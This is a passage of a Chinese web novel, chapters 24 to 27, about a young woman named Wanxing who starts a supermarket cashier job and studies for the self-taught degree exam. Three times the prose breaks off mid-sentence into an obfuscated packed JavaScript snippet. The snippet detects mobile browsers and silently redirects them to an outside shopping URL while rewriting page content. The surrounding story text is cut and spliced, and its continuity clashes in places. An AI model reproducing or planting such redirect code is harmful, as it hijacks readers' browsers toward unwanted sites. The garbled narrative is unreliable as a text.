傍晚时分,张琪端上了满满一桌子饭菜,有清蒸鱼、红烧肉,还有两道清爽的青菜,每一道都是晚星爱吃的。两人坐在小方桌前,各自举起水杯,张琪脸上满是笑意,声音洪亮:“干杯!祝我们彻底告别旧地,开启崭新的生活!也祝晚星自考顺利,早日实现梦想,成为一名优秀的文字工作者!” 晚星也笑着举杯,与张琪轻轻一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233593|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰,水杯碰撞发出清脆的声响,漾起心底的暖意:“干杯!也祝你工作顺利,我们都要越来越好,不辜负这段日子的坚持。”喝了一口温水,晚星夹了一块鱼肉放进嘴里,鲜嫩的滋味在舌尖散开,心里更是满溢着踏实与温暖。这是她离开电子厂后,第一次如此安心地吃饭,没有流言的困扰,没有人心的算计,只有最真挚的陪伴和对未来的无限期许。 接下来的几天,晚星渐渐适应了新的生活节奏,日子过得充实而规律。每天早上六点准时起床,在阳台迎着阳光背书,柔和的光线洒在书页上,记忆力都好了不少;八点准时出门去超市上班,步行十分钟的路程,不用再赶早班车挤地铁,从容又惬意;晚上下班回来,和张琪一起吃完晚饭,就坐在书桌前刷题、整理笔记,直到十点准时休息,作息规律又安稳。 周末的时候,晚星会去夜校找王老师请教自考知识点,把遇到的难点一一弄懂;偶尔也会和张琪一起去小区附近的菜市场买菜,顺便挑选一些小物件布置出租屋。她们在墙上贴了淡雅的墙纸,遮住了墙面的斑驳;在阳台种了几盆多肉,添了几分生机;小小的出租屋,在两人的打理下,渐渐充满了烟火气,成了真正意义上的“家”。晚星把高中毕业证装在精致的相框里,挂在书桌正上方,每天学习时都能看到,时刻提醒自己不忘初心,莫忘来时路。 有一次,晚星在超市上班时,意外碰到了以前电子厂的同事。同事看到她,先是一脸惊讶,随即走上前打招呼:“晚星?你怎么在这里上班?听说你离开厂里后,陈阳和李娟散播的谣言就没人信了,大家都懒得理他们。对了,李娟还因为私自扣减组员绩效,被人实名举报了,小组长的位置泡汤了,还被领导批评了一顿呢。” 晚星笑了笑,手上扫码的动作没有停顿,语气平和:“我在这里挺好的,工作安稳又踏实。她们怎么样,我已经不关心了。”同事点了点头,语气里满是赞许:“你做得对,跟那些人没必要浪费精力纠缠。你现在看起来比在厂里的时候精神多了,整个人都透着一股通透的劲儿,像被阳光照亮了一样。” 同事离开后,晚星看着收银台外排队的顾客,心里一片澄澈平静。流言终究是流言,没有事实作为支撑,终究会随风而散,消失在时光里。而她,早已在摆脱旧环境、奔赴新生活的过程中,褪去了怯懦与迷茫,活成了自己想要的样子。陈阳和李娟的结局,不过是他们自己的选择,与她无关,也不值得她再花费半分心思。 晚上回到出租屋,晚星把碰到旧同事的事告诉了张琪。张琪听完,拍手叫好,笑着说:“真是大快人心!李娟就是活该,自视甚高、心思歹毒,终究是搬起石头砸自己的脚。以后咱们就彻底和过去告别了,再也不用被那些烂人烂事打扰,安安心心过自己的日子。” 晚星点了点头,坐在书桌前翻开《大学语文》教材,指尖轻轻划过书页上密密麻麻的批注,心里格外踏实。远离了是非之地,告别了流言蜚语,她终于能静下心来,全身心投入到工作和学习中。超市的工作虽然平凡普通,却稳定体面,能给她安稳的生活保障;自考的路虽然充满艰辛,却每一步都朝着梦想靠近,坚定而有力量。 夜深了,张琪早已睡熟,房间里只剩下轻微的呼吸声。晚星还在书桌前刷题,台灯的暖光温柔地落在书页上,窗外的月光透过窗户洒进来,静谧而美好。她抬头望向墙上的毕业证相框,又看了看桌上整齐摆放的自考资料,心底充满了底气与力量。 电子厂的那段时光,是她人生中一段灰暗的旅程,有迷茫、有委屈、有不甘,却也让她在风雨中学会了坚强,在磨砺中变得勇敢,更懂得了坚守初心的可贵。如今,她彻底告别了那个地方,告别了那些不堪的过往,在新的环境里,拥有了稳定的工作、真挚的陪伴和清晰的目标,终于找到了属于自己的节奏。 流言止息,旧地已远。晚星清楚地知道,未来的路还需要一步一个脚印地走,自考的艰难挑战、职场的未知历练,都还在前方等待着她。但她不再害怕,因为她终于拥有了一个安稳的港湾,能够心无旁骛地追逐自己的梦想。那些曾经经历的苦难,都已化作成长的勋章,指引着她朝着更远、更亮的地方坚定前行。 窗外的梧桐树在月光下轻轻摇曳,微凉的晚风穿过窗户吹进房间,带着草木的清香。晚星放下笔,揉了揉有些发酸的眼睛,脸上露出了释然又坚定的笑容。旧的篇章已然落幕,新的生活正在缓缓展开,她准备好了,以最从容、最坚定的姿态,迎接每一个崭新的日子,奔赴属于自己的光明未来。 25. 第 25 章 清晨七点半,晚星踩着熹微晨光走进小区附近的连锁超市。换上干净笔挺的浅蓝色员工服,仔细别好印着自己名字的工牌,她站在3号收银台后,逐一擦拭台面、规整购物袋,指尖轻轻触碰收银机键盘,心底藏着几分淡淡的紧张。今天是她正式独立上岗的第一天,褪去了带教时的依赖,往后这台收银机、这片小小的区域,就要靠自己独自撑起了,容不得半点差错。 “早啊晚星,第一天单独盯台别慌,有事儿随时喊我。”陈姐提着水杯从员工通道走来,路过3号收银台时,笑着拍了拍她的肩膀,力道温和却透着安心。作为带教老师,陈姐向来爽朗热心,这几天对晚星倾囊相授,大到收银系统故障排查,小到与顾客沟通的语气分寸、递袋的手势,都讲解得细致入微。 “谢谢陈姐,我记住了。”晚星笑着点头,目光落在收银机屏幕上,飞快地在心里复盘操作流程。开机、登录账号、逐一点验收银盒里的零钱,每一步都做得有条不紊,昨夜特意熬夜梳理的操作要点,此刻如同清晰的脉络,印在脑海里。 八点刚过,超市迎来早间客流小高峰,往来多是周边小区的老人和赶时间的上班族。第一位顾客推着满满一车蔬菜走近,晚星深吸一口气,主动扬起温和的笑容:“阿姨,早上好,我来帮您扫码。”她轻轻拿起青菜,小心翼翼避开菜叶上的水珠,对准扫码枪,“滴”的一声轻响,价格精准录入系统,动作轻柔又利落。 老人眯着眼盯着屏幕,语气带着几分不确定:“小姑娘,这青菜多少钱一斤啊?我记得昨天好像比这个便宜点。”晚星没有丝毫不耐烦,指尖轻点屏幕调出蔬菜价格明细,特意把字体调到最大,指着标价凑近了说:“阿姨,您看,这是新鲜上海青,今天会员价三块九一斤,昨天是普通价四块五,其实今天更划算呢。您有我们超市的会员卡吗?可以积分兑换日用品。” “有有有,我忘带了,报手机号行吗?”老人连忙应声。晚星点头应下,快速准确输入手机号,确认积分到账后,又贴心提醒:“阿姨,下次您可以把会员卡绑定在超市小程序里,付款时直接出示二维码就行,不用特意带卡,更方便。”一边说,一边熟练地为老人称重、打包,裹鸡蛋时特意多缠了两层保鲜袋,生怕路途颠簸碰碎。 “好嘞,谢谢你啊小姑娘,态度真周到!”老人付完钱,提着打包整齐的菜,笑着连连夸赞。晚星目送老人走进人群,心里涌起一股浅浅的暖流,原本紧绷的神经渐渐放松——原来踏实做好每一个细节,真诚对待每一位顾客,就能收获这样简单而纯粹的认可。 早高峰的客流一波接一波,晚星渐渐找到了工作节奏。扫码、称重、报价、找零、递袋,一系列动作愈发流畅娴熟,脸上始终挂着恰到好处的温和笑容。遇到带着幼童的顾客,她会主动弯腰帮忙拿取儿童座椅;遇到行动不便的老人,她会快步走出收银台,把物品稳稳递到对方手里;遇到对价格、分量有疑问的顾客,她总能耐心核对单据、细致解释,从不敷衍搪塞。 临近中午,客流渐渐稀疏,晚星趁着空闲拿出笔记本,把刚才工作中遇到的问题逐一记录:散装零食称重需仔细区分品类、优惠券核销要核对使用期限与适用范围、接待老年顾客需放慢语速、放大音量。正低头书写时,旁边5号收银台的年轻同事林晓凑了过来,瞥了一眼笔记本上密密麻麻的字迹,笑着调侃:“晚星,你这也太较真了吧?收银这点活儿,干熟了自然就会了,还用特意记下来这么多?” 晚星抬头笑了笑,轻轻合上笔记本:“多记一点,下次再遇到就不会手忙脚乱了,也能少耽误顾客时间。”林晓今年刚毕业,性格活泼跳脱,说话直来直去,眼底没有半分恶意。她拉过一把椅子坐在旁边,语气随意地闲聊:“也是,你做事向来踏实。对了,我听陈姐说,你还在上夜校,准备考自考本科?” “嗯,想考汉语言文学专业。”晚星坦然点头,语气平静而坚定。从前她总怕别人知道自己读夜校、考自考,难免生出自卑之心,可历经风雨磨砺后她已然明白,努力追求梦想从不是丢人的事,反而值得被认真对待。 林晓挑了挑眉,语气里带着几分不解和直白:“不是我说你啊晚星,咱们就是个超市收银员,每月工资固定,读那么多书又用不上,多花点心思琢磨怎么提高收银速度、拿满绩效奖金,不是更实在吗?而且自考又难又费时间,何必给自己找罪受呢?” 这时,陈姐端着两份饭菜从员工食堂走来,刚好听到两人的对话,当即开口反驳,语气爽朗却不生硬:“晓晓这话说得片面了,多读书怎么会没用?晚星有追求、肯努力,这是难得的好事。咱们不能困在收银员这个岗位上安于现状,多学点东西,以后才有更多选择和机会。”说着,把手里多打的一份红烧肉递给晚星,眼神温和,“快吃饭吧,补充点体力,下午五点到七点是客流高峰,还有硬仗要打。” 晚星接过温热的饭盒,心里一暖,轻声向陈姐道谢,又转头看向林晓,语气平和却透着坚定:“我知道自考很难,短期内也看不到用处,但我不想一直停留在原地。不管最后能不能考上,这段全力以赴的努力过程,对我来说就很有意义。” 林晓愣了一下,随即笑了,摆了摆手:“行吧行吧,算你说得有道理。我就是随口说说,你别往心里去。以后你学习上要是有啥需要帮忙的,比如去图书馆占座、帮你带份资料,尽管找我!”她虽依旧觉得自考没必要,却打心底里佩服晚星这份不随波逐流的毅力。 三人围坐在收银台旁吃饭,陈姐结合自己的经验,细细跟晚星分享超市的注意事项:“咱们超市下午五点到七点是下班客流高峰,多是赶时间的上班族,你提前备好零钱和购物袋,动作快一点但准确率不能丢。另外,偶尔会遇到故意找茬的顾客,别慌也别跟对方争执,及时喊店长过来处理,咱们有理有据,不用怕受委屈。” 晚星一边吃饭,一边认真点头,把每一句话都记在心里:“好的陈姐,我下午提前把准备工作做好。”林晓也在一旁补充,语气带着几分过来人的懊恼:“对了对了,有些顾客会拿一堆优惠券叠加使用,你一定要仔细核对规则,别核销错了,不然损失得自己承担。我上次就弄错一张五十块的满减券,扣了绩效奖金,心疼了好几天。” 午饭后,晚星牢记陈姐和林晓的提醒,仔细清点收银盒里的零钱,补足大小面额的纸币和硬币,又把购物袋按尺寸分类叠放整齐,堆在收银台伸手可及的位置。做好一切准备,她靠在椅背上闭目养神片刻,轻轻揉了揉酸胀的肩膀,为下午的高峰客流积蓄精力。 下午五点,超市果然迎来客流高峰,各收银台前排起了长长的队伍,空气中弥漫着匆匆的脚步声和轻微的交谈声。晚星全神贯注投入工作,扫码、输单、找零,动作行云流水,脸上始终保持着温和从容的表情。忽然,一位穿着西装的上班族不停催促:“小姑娘,能不能快点?我还要去学校接孩子,再晚就来不及了!”语气里满是焦灼。 晚星手上的动作没有停顿,语气诚恳又安抚:“抱歉啊先生,实在不好意思,我尽量加快速度,您稍等片刻。”话音未落,她手腕转动间加快了扫码节奏,同时快速清点好零钱攥在手里,省去了后续找零的停顿,原本需要三分钟的结账流程,短短两分钟就完成了。“您拿好东西,路上注意安全。”她把购物袋递到男士手里,不忘轻声提醒。男士接过东西,语气瞬间缓和不少,略带歉意地说:“谢谢啊,刚才我有点着急,语气不好,见谅。” 忙碌中,晚星又遇到一位拿着多张优惠券的顾客,有满减券、折扣券、积分兑换券,种类繁杂,顾客自己也记不清使用规则,脸上渐渐露出不耐烦的神色,把优惠券往收银台上一放:“你自己看着弄,能减多少减多少,我没时间跟你慢慢耗。” 晚星没有慌乱,拿起优惠券一张张仔细核对,一边核对一边轻声向顾客说明:“先生,您这张满两百减五十的券可以使用,这张九折券和它不能叠加,不过积分兑换券可以和满减券一起用,我帮您算两种方案,选最划算的一种。”她快速在心里盘算,手指在收银系统里熟练操作,片刻后便算出最优解,最终为顾客省下六十多元。 顾客看着最终的付款金额,脸上的不耐烦彻底消散,点了点头,语气缓和下来:“行,就这么算,谢谢你啊小姑娘,比我自己算得清楚周到。”晚星笑着回应:“不客气,这是我应该做的,能帮您省下钱就好。” 一旁的陈姐看着晚星从容应对各类情况,眼里满是赞许。等这一波客流稍减,她走过来递给晚星一瓶温水:“不错啊晚星,进步太快了!这么多复杂的情况都能处理得妥妥帖帖,比我当初刚独立上岗时沉稳多了。” 晚星接过水,拧开瓶盖喝了一口,才发觉喉咙早已干涩发紧。她笑着摇了摇头:“都是您教得好,还有晓晓提醒我注意优惠券的事,不然我肯定要出错。”正说着,林晓也凑了过来,语气里带着真切的佩服:“晚星,你也太有耐心了,换作是我,遇到那种不耐烦的顾客,说不定自己先慌了,根本冷静不下来算优惠券。” 三人正聊着,店长李姐走了过来,手里拿着一份顾客评价表,脸上带着笑意:“晚星,今天有三位顾客特意在评价表上夸你服务周到、态度温和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚星加快脚步往家走,心底满是期待与暖意。推开出租屋的门,浓郁的饭菜香扑面而来,张琪正坐在餐桌旁等她,桌上摆着两菜一汤,色泽诱人。“快洗手吃饭,我特意多做了几个菜,庆祝你顺利度过职场第一关。”张琪笑着起身,接过她手里的包,顺手递过一双拖鞋。 饭桌上,晚星把今天在超市的经历一一讲给张琪听,从清晨的紧张忐忑到后来的从容应对,从顾客的真诚夸赞到同事的善意调侃,每一个细节都细细道来。张琪听得津津有味,时不时点头夸赞,眼神里满是骄傲:“你就是太踏实了,不管做什么事都拼尽全力、认真对待,肯定能做好。那些同事调侃你,也不是恶意,就是觉得自考辛苦,其实心里都佩服你的毅力。” “嗯,我知道。”晚星夹了一块糖醋排骨放进嘴里,甜香的滋味在舌尖散开,暖意顺着喉咙蔓延到心底,格外踏实。“陈姐和林晓都很照顾我,李姐也认可我的工作,在这里上班,没有勾心斗角,感觉很安心。” 吃完饭,晚星没有像往常一样立刻投入自考复习,而是坐在阳台的椅子上,望着窗外的月光。皎洁的月光洒在小区的梧桐树上,斑驳的光影摇曳生姿。今天一天的经历,让她更加深刻地明白,平凡的岗位也能绽放光彩,踏实做好每一件小事,就能一步步站稳脚跟。超市的工作虽然普通,却给了她安稳的生活保障,让她能心无旁骛地追逐自考梦想。 这时,张琪端着一杯热牛奶走过来,轻轻放在她手里:“别想太多了,今天累了一天,早点休息,明天还要上班呢。你的自考资料我帮你整理好了,按科目分好类放在书桌上,重点内容还帮你标了出来。” 晚星接过温热的牛奶,点了点头,眼底满是感激。她走进房间,看着书桌上整齐摆放的自考资料,又抬头望向墙上挂着的高中毕业证,心里充满了底气。职场的初体验虽然忙碌,却让她找到了属于自己的节奏,踏实立足,稳步前行,这就是她当下最坚定的选择。 她坐在书桌前,轻轻翻开《大学语文》教材,指尖划过书页上密密麻麻的批注,眼神愈发坚定。超市的工作是她安稳的基石,自考是她追逐梦想的阶梯,两者兼顾虽不易,但她有信心一一做好。那些同事的调侃,不仅没有动摇她的决心,反而让她更加笃定——努力从来不是多余的,只有不断提升自己,才能打破局限,拥有更多可能。 夜色渐深,台灯的暖光温柔地落在书页上,映出晚星专注的身影。新的职场生活已然步入正轨,她以踏实肯干的态度赢得了认可,也以平和从容的心态接纳了所有声音。在这个平凡的岗位上,她正一步一个脚印地积累力量,为未来的梦想之路筑牢每一块基石。而这份安稳与坚定,也让她更加期待未来的每一个日子,期待在自考与职场的双重历练中,遇见更优秀的自己。 26. 第 26 章 超市闭店的铃声响起时,晚星刚核对完最后一笔收银账目,确保账实分毫不差。脱下浅蓝色员工服,仔细叠得方方正正放进包里,她和陈姐、林晓简单道别后,便踏着夜色往出租屋走。晚风裹着秋夜的清冽,街头的路灯投下长长的影子,她手里紧紧攥着手机,屏幕始终停留在自考报名官网的页面——这已是她连续第三天下班后,特意挤出时间潜心研究的内容。 回到出租屋时,张琪正窝在沙发上追剧,餐桌上摆着温好的杂粮粥和两碟清淡小菜。“回来啦?快洗手吃饭。”张琪暂停视频,起身自然地接过她的包,目光精准落在她紧绷的眉头上,语气带着几分了然,“是不是选专业拿不定主意了?这几天你翻手机都翻得入神,连吃饭都心不在焉的。” 晚星点点头,坐在餐桌旁拿起勺子,眉头仍微蹙着盘算:“我看了三个备选专业,汉语言文学、行政管理还有人力资源管理。行政管理和人力资源上手快,考试科目也相对简单,备考压力小,但总觉得少了点心底的认同;汉语言文学是我一直想选的,可要考古代汉语、文学概论这些科目,难度不小,而且要背记的内容特别繁杂,我怕兼顾不来工作。” “兴趣才是撑着你走下去的底气啊。”张琪夹了一筷子清爽的青菜拨进她碗里,语气格外笃定,“你从小就爱看书,以前在厂里休息时还总写随笔,汉语言文学对你来说,不只是拿个文凭那么简单,是真能沉下心学到东西的。难就难点,总比选个没感觉的,学着学着就倦怠放弃强。”她太了解晚星了,看似温和内敛,骨子里却藏着股不服输的韧劲,只要是认定的事,再难也会咬牙扛住。 晚星低头喝着温热的粥,心里的天平渐渐向汉语言文学倾斜。其实从一开始,这就是她的初心之选,只是被工作繁忙的顾虑困住了脚步。“可我每天下班都快八点了,吃饭、收拾家务一折腾就一个小时,留给学习的时间本就有限,要是选了汉语言,怕是经常要熬夜刷题了。”她语气里带着几分纠结,既想追随心意,又怕顾此失彼。 “熬夜可以,但得有章法,不能瞎熬。”张琪笑着帮她梳理,“我帮你算过了,你每天八点到家,九点前把杂事收尾,九点到十一点刚好两个小时,专注刷题或背书足够了;周末你休息两天,上午报个面授班系统学,下午在家复盘知识点、整理笔记,晚上留两个小时放松,别把自己逼太紧。这样工作、学习两不耽误,还能保持状态。” 张琪的话彻底点醒了晚星。她放下勺子,拿起手机重新点开自考官网,逐字逐句浏览汉语言文学专业的考试科目和大纲:一共十四门科目,含四门公共课、十门专业课,最快两年半可考完,每年两次报名机会,下次报名就在三个月后。她抬眼看向张琪,眼神里没了纠结,只剩坚定:“你说得对,我不能因为怕难就退缩,兴趣能让我更有动力扛过备考的苦。” 接下来的几天,晚星把所有业余时间都投入到了资料搜集里,不敢有半分懈怠。午休时,她放弃员工休息室的小憩,特意跑到超市附近的书店,逐本翻阅对比不同出版社的辅导资料,把《现代汉语》《古代汉语》等重点科目的权威参考书、同步练习册一一记在笔记本上;下班回家后,她又登录自考论坛、小红书,认真研读往届考生的备考经验帖,整理出高频考点、易错点和实用学习方法,还主动加了一个自考交流群,遇到不懂的问题就虚心请教,慢慢积累备考思路。 周五晚上,晚星特意提前和超市请了周六上午的假,打算去夜校找王老师咨询——王老师曾教过她高中语文,不仅学识渊博,还对自考流程、科目重难点十分熟悉,是她最信任的前辈。周六清晨,天刚亮她就起床了,换上干净的衬衫,把整理好的问题清单和笔记本仔细收好,匆匆吃过早餐便往夜校赶去。 夜校的办公室里格外安静,阳光透过窗户落在办公桌上,王老师正低头批改作业,红笔在纸上沙沙作响。看到晚星进来,他笑着放下笔,抬手示意她坐下:“晚星,今天怎么有空过来?看你这模样,是为自考的事来请教吧?” “是的王老师,麻烦您了。”晚星坐在椅子上,恭敬地拿出笔记本,语气诚恳,“我已经确定要考汉语言文学专业了,但不知道怎么安排备考顺序才合理,尤其是古代汉语和文学概论,我翻了下教材,觉得难度不小,怕自己摸不清门道,想问问您有没有针对性的学习方法。” 王老师接过她的笔记本,看着上面密密麻麻的标注和问题,眼里满是赞许:“你做事还是这么踏实细致,提前做了这么多功课,很难得。汉语言文学备考,核心是循序渐进、先易后难。公共课相对简单,第一次报考可以选思修和近代史,再搭配一门基础专业课,比如《现代汉语》,先建立备考信心,找找学习节奏。” 顿了顿,王老师结合自身经验细细讲解:“古代汉语确实是多数考生的难点,不仅要背记通论知识,还要吃透文言文原文。你可以从《论语》《孟子》这类浅显易懂的篇目入手,逐字逐句翻译,积累常用实词、虚词的用法,慢慢培养语感;文学概论则忌死记硬背,要先理解核心理论,再结合自己熟悉的文学作品分析应用,把理论和实例结合起来,记忆会更牢固。” 晚星握着笔飞快记录,时不时点头追问:“那您觉得我有必要报面授班吗?还是自己刷题、看网课就够了?我怕自己闭门造车,走了弯路。” “面授班对你来说很有必要。”王老师语气肯定,“面授班的老师能帮你梳理知识点框架,精准划重点、破难点,还能及时解答你的疑问;更重要的是,和其他考生一起学习,能互相激励、交流经验,比一个人摸索效率高得多。刚好我们夜校就有自考汉语言文学面授班,周末上午上课,完全不耽误你的工作,再合适不过了。” 得到王老师的专业建议,晚星心里的顾虑彻底消散,愈发有底了。她郑重谢过王老师后,当即在夜校报了面授班,拿到了课程表和崭新的教材。指尖抚过《现代汉语》的封面,熟悉的文字透着油墨清香,她心里满是期待与坚定——属于她的自考备考之路,终于要正式启程了。 回到出租屋,晚星立刻拿出一个新笔记本,在封面一笔一划写下“自考备考计划”,翻开后细致分成三大板块:每日计划、每周计划、阶段目标。每日计划明确标注:晚9点至10点刷题、整理错题,10点至11点背诵知识点;每周计划安排周末上午上专业课,下午复盘课堂内容、完善笔记,晚上留足放松时间;阶段目标则锁定三个月后——顺利通过第一次报考的两门公共课和一门专业课,为后续备考打下基础。 “我把计划定好了,你帮我看看,是不是太紧凑了?会不会影响上班状态?”晚星把笔记本递给张琪,语气里带着几分不确定。张琪接过仔细翻看,笑着点头:“一点不紧凑,反而特别合理。每天两个小时专注学习,既能保证效果,又不会熬到太晚影响第二天工作。不过我可得监督你,不许为了赶进度硬熬,身体才是本钱。” 从制定好计划的那天起,晚星的生活便锚定了清晰的节奏,愈发规律而充实。每天清晨六点准时起床,利用洗漱、赶去超市的间隙,靠着手机备忘录背几个现代汉语知识点;中午午休时,她就坐在超市角落的长椅上,拿出辅导资料和习题册刷题,遇到不懂的问题就随手记在小本子上,等晚上回家查资料、在自考群里请教;晚上下班回到家,匆匆吃完晚饭便立刻坐到书桌前,循着计划全身心投入学习,不受任何干扰。 刚开始备考,晚星就撞上了不少“硬骨头”。古代汉语的文言文晦涩难懂,一篇百余字的短文,要对着注释和译文反复琢磨好几遍,才能勉强理清句意,虚词的用法更是绕得人头疼;文学概论的理论知识抽象枯燥,诸如“文学形象”“审美意蕴”等概念,背了又忘,反复记忆仍模糊不清,让她一度陷入沮丧,甚至怀疑自己是不是选得太冒进了。有天晚上,她对着一篇文言文发呆,琢磨了半个多小时仍没理清虚词“之”的用法,忍不住轻轻叹了口气,放下笔揉了揉发胀的太阳穴。 张琪听到叹气声,端着一杯温热的牛奶轻手轻脚走过来,轻轻放在她桌角:“又被难题困住啦?别着急,一口吃不成胖子。实在弄不懂就先放一放,明天去问面授班的老师,或者在群里问问其他考生,大家都是这么过来的,总会有办法的。”她没有多打扰,只是默默陪在旁边,给晚星留出整理情绪的空间。 晚星接过温热的牛奶,暖意顺着指尖蔓延到心底,沮丧的情绪渐渐消散。她点点头,重新拿起笔,换了种思路——不再死磕单个虚词,而是先通读全文,结合上下文猜测含义,再对照译文反向推导用法,慢慢摸索规律。“你说得对,我不能急于求成,得一步一步来。”那天晚上,她虽比平时多花了半小时才吃透知识点,却也摸索出了适合自己的文言文学习方法,心里满是成就感。 周末的面授班课程,晚星从未缺席过一次。每次上课,她都早早赶到教室,坐在前排最中间的位置,拿出笔记本和笔,全神贯注地听讲,老师讲的重点、难点都一一标注清楚,遇到不懂的地方,一到课间就立刻跑到讲台前请教,直到彻底弄懂为止。班里的同学大多和她一样,都是一边工作一边备考,有着共同的目标和处境,大家经常在课后互相交流学习心得、分享辅导资料、吐槽备考难题,氛围融洽又励志。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233595|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一次,面授班老师让大家分享自己的备考动力,教室里沉默了片刻,晚星犹豫了一下,还是鼓起勇气举起了手。她站起身,语气平静却坚定:“我以前在电子厂上班,经历过流言蜚语,也迷茫了很长一段时间,不知道自己未来能做什么。后来我明白,只有不断提升自己,才能摆脱困境,拥有更多选择。我一直喜欢文学,自考对我来说,不只是拿文凭,更是圆自己一个小小的梦想,哪怕过程再难,我也想坚持下去。” 她的话戳中了不少同学的心声,教室里响起了热烈的掌声。课后,一位和她年纪相仿的女生主动走过来,笑着说:“我也是一边上班一边备考,在超市做理货员,每天忙完工作都累得不想动,可一想到能通过学习改变现状,就又有了力气。以后我们可以一起刷题、互相监督,有不懂的问题也能一起讨论。”晚星笑着点头,心里多了一份陪伴的温暖与前行的力量。 超市里的同事们也渐渐知晓了晚星备考的事,都格外包容与支持。陈姐总是特意给她留出自习的时间,中午午休时,还会提醒其他同事小声说话,别打扰她刷题;林晓虽然觉得自考又苦又累,却总记着给她带热腾腾的早餐,还打趣道:“晚星,等你考上本科,可就成咱们超市的‘文人’了,到时候可得给我们露两手,写两句祝福语贴在超市门口。” “放心吧,肯定忘不了你们。”晚星笑着回应,心里满是暖意。同事们的理解与支持,成了她备考路上的底气之一。她把工作和学习安排得井井有条,工作时便全身心投入,用认真负责的态度赢得顾客与领导的认可;学习时便心无旁骛,用坚持不懈的努力追逐梦想。两者互不耽误,反而形成了互补——工作的安稳给了她备考的底气,备考的坚持让她更加珍惜当下的生活,也让整个人更有方向感。 一个月后,晚星已经把《现代汉语》前半部分的知识点吃透,错题本也积累了厚厚的一本。她有着自己的坚持:每天晚上必花十分钟复盘当天的错题,标注错误原因,总结解题技巧,确保下次不再犯同样的错误;周末上完课后,会把老师讲的知识点梳理成思维导图,贴在书桌前的墙上,无论是洗漱还是休息,都能随手瞥一眼加深记忆,把碎片化时间也利用起来。 有天晚上,张琪看着晚星坐在书桌前认真背书的样子——台灯暖光落在她专注的侧脸,发丝被灯光染成浅金色,眼神清亮而坚定,忍不住拿出手机悄悄拍了一张照片。晚星听到快门声,疑惑地抬头看来:“你拍我干什么?” “拍下来留作纪念啊。”张琪笑着晃了晃手机,语气里满是骄傲,“等你两年半后拿到毕业证,再回头看现在努力的自己,一定会觉得所有的辛苦都值得。你看你现在,工作做得出色,学习也这么拼,整个人都透着一股从容的底气,比在电子厂的时候亮眼多了。” 晚星低头看向书桌上的教材、笔记和错题本,嘴角不自觉扬起淡淡的笑容。她清楚,自考之路漫长而艰辛,未来还会遇到更多难点与挑战,可她不再像从前那样迷茫无助。她有明确的目标,有详尽的计划,有张琪不离不弃的陪伴,有同事、老师和同学的支持,更有一个愿意为梦想全力以赴的自己。 夜色渐深,窗外的喧嚣渐渐平息,台灯的暖光温柔地铺满书桌,映出晚星专注的身影。她轻轻翻开教材,低声背诵着知识点,声音不大,却格外坚定。超市的工作让她踏实立足,自考的备考让她步履不停,两种生活交织在一起,构成了她当下最充实、最有力量的日常。 三个月的备考时光转瞬即逝,自考报名时间如期而至。晚星按照计划,顺利完成了思修、近代史两门公共课和《现代汉语》专业课的前期备考,知识点掌握扎实,错题也复盘到位。她坐在书桌前,登录自考报名官网,认真填写个人信息,仔细勾选报考科目,稳稳提交报名费用。当屏幕上弹出“报名成功”的提示时,一股强烈的成就感涌上心头,眼眶微微发热——这是她努力的见证,也是新征程的起点。 她深知,这只是自考之路的第一步,接下来还有十一门科目要攻克,还有无数个挑灯夜读的日子要度过,可她早已做好了准备。第一卷的迷茫、挣扎与不甘已然落幕,第二卷的奋斗、成长与坚守即将开启。她会带着这份坚定与执着,一步一个脚印地往前走,用不懈的努力和坚持,奔赴属于自己的光明未来,活成自己想要的模样。 窗外的月光皎洁明亮,透过窗户洒在书桌上,也落在晚星的脸上,温柔而有力量。她合上教材,轻轻伸了个懒腰,眼神里满是对未来的憧憬与笃定。步履不停,终会抵达;心有热爱,终会开花。这便是她对自己最好的承诺,也是她往后日子里最坚定的信念。 27. 第 27 章 周六午后的阳光格外柔软,透过出租屋的玻璃窗,在地板上投下细碎斑驳的光影,风一吹便轻轻晃动。晚星刚结束上午的自考面授班课程,正坐在靠窗的书桌前梳理课堂笔记,笔尖在纸上沙沙作响,手机铃声突然轻快地划破静谧,屏幕上“张琪”二字跳跃着,她立刻放下笔接起,嘴角不自觉弯起温柔的弧度。 “晚星!我今天轮休,已经在去你出租屋的路上啦!给你带了厂里食堂刚蒸好的豆沙包,还买了你最爱的草莓,新鲜得很!”电话那头,张琪的声音满是雀跃,背景里隐约传来公交车的报站声和车流声,透着鲜活的烟火气。 “真的吗?太好了,我这就等你!”晚星的语气里满是藏不住的惊喜,放下电话便手脚麻利地收拾屋子。她快速将散落的教材、笔记叠得整整齐齐,用抹布擦净餐桌的浮尘,又取出干净的水果盘摆好,心里满是期待——自从她从电子厂离职,搬到离超市更近的小出租屋,两人见面的次数便少了些,张琪轮休时间不固定,她又要兼顾工作与自考,大多时候只能靠微信聊近况、诉心事。 